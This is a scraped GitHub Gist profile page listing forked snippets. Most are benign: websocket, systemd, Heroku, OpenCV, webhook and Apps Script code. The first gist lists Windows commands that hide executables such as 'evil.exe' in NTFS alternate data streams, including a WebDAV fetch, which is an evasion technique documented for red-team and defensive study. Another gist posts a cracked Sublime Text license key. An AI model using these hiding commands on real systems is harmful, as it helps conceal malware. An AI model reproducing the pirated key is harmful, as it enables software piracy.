Skip to content

Instantly share code, notes, and snippets.



View GitHub Profile
ohidurbappy / Exe_ADS_Methods.txt
Created Feb 5, 2021 — forked from api0cradle/Exe_ADS_Methods.txt
Execute from Alternate Streams
View Exe_ADS_Methods.txt
###Add content to ADS###
type C:\temp\evil.exe > "C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfile.log:evil.exe"
extrac32 C:\ADS\ c:\ADS\file.txt:procexp.exe
findstr /V /L W3AllLov3DonaldTrump c:\ADS\procexp.exe > c:\ADS\file.txt:procexp.exe
certutil.exe -urlcache -split -f c:\temp:ttt
makecab c:\ADS\autoruns.exe c:\ADS\
print /D:c:\ads\file.txt:autoruns.exe c:\ads\Autoruns.exe
reg export HKLM\SOFTWARE\Microsoft\Evilreg c:\ads\file.txt:evilreg.reg
regedit /E c:\ads\file.txt:regfile.reg HKEY_CURRENT_USER\MyCustomRegKey
expand \\webdav\folder\file.bat c:\ADS\file.txt:file.bat
ohidurbappy /
Created Jan 21, 2021 — forked from lrvick/
Simple Websocket echo client/server with Flask and gevent / gevent-websocket
from geventwebsocket.handler import WebSocketHandler
from gevent.pywsgi import WSGIServer
from flask import Flask, request, render_template
app = Flask(__name__)
def index():
return render_template('index.html')
View Sublime Text 3 Build 3103 License Key - CRACK
I use the first
Michael Barnes
Single User License
8A353C41 872A0D5C DF9B2950 AFF6F667
C458EA6D 8EA3C286 98D1D650 131A97AB
AA919AEC EF20E143 B361B1E7 4C8B7F04
ohidurbappy /
Created Dec 28, 2020 — forked from ilyasst/
Run a python script forever using systemd

Run a python script forever

In this section, we are going to show how to run a python script as a systemd service, allowing you to boot it at the start of a Linux machine and to maintain it alive.

Test method: Telegram Bot

We are going to use a very basic Telegram bot in order to test that our script will:

  1. Automatically start when the machine boot
  2. Automatically restart when it crashes/exits for whichever reason
ohidurbappy / python_heroku.MD
Created Nov 19, 2020 — forked from bradtraversy/python_heroku.MD
Python & Postgres Heroku Deployment
View python_heroku.MD

Python Heroku Deployment

Steps to create a postgres database and deply a Python app to Heroku

Install guinicorn locally

pipenv install gunicorn
pip install gunicorn
ohidurbappy /
Created Aug 13, 2020 — forked from Tahsin-Mayeesha/
Code gathered from multiple tutorials
import cv2
import numpy as np
import time
cap = cv2.VideoCapture(0)
background = 0
for i in range(30):
ret, background =
View Github Webhook

Step 1 - Make a Discord Webhook

  1. Find the Discord channel in which you would like to send commits and other updates

  2. In the settings for that channel, find the Webhooks option and create a new webhook. Note: Do NOT give this URL out to the public. Anyone or service can post messages to this channel, without even needing to be in the server. Keep it safe! WebhookDiscord

Step 2 - Set up the webhook on Github

  1. Navigate to your repository on Github, and open the Settings Settings
View python-github-actions.txt
You need to create a workflow yaml, doc here: 7
In the yaml, set ‘schedule’ event. Details here 7. code sample as below:
name: py
- cron: “0 0 * * *” #runs at 00:00 UTC everyday
var ss = SpreadsheetApp.openByUrl("Your Spread Sheet URL");
var sheet = ss.getSheetByName('Items'); // be very careful ... it is the sheet name .. so it should match
function doPost(e){
var action = e.parameter.action;
if(action == 'addItem'){
return addItem(e);